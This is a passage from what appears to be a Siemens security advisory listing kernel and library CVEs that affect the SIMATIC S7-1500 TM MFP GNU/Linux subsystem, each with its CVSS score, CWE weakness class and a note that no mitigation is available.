SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-53124

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-56631

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-56672

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57901

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-664 - Improper Control of a Resource Through its Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57902

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57913

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57929

6.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE-672 - Operation on a Resource after Expiration or Release

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57940

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57948

6.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57951

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57977

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57979

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57981

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-57986

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58005

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58009

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58014

6.0 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58016

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58017

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-190 - Integer Overflow or Wraparound

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58020

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58051

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58058

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58063

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58071

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58072

6.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-58085

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-3198

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-5244

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-5245

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-7425

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-7545

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE-116 - Improper Encoding or Escaping of Output

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-7546

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-8224

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-9230

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21638

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21639

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21640

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21647

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21648

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-789 - Memory Allocation with Excessive Size Value

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21653

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21664

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21666

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21669

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21678

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21683

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21692

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-129 - Improper Validation of Array Index

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21694

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21704

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21711

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-190 - Integer Overflow or Wraparound

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21719

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21726

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21727

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21728

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21735

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21744

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21745

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21753

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21756

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21760

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21761

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21762

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21763

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21764

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21765

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21772

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21776

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21787

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21795

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21796

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21806

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21814

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21826

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21835

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21844

5.5 (Medium)


                        
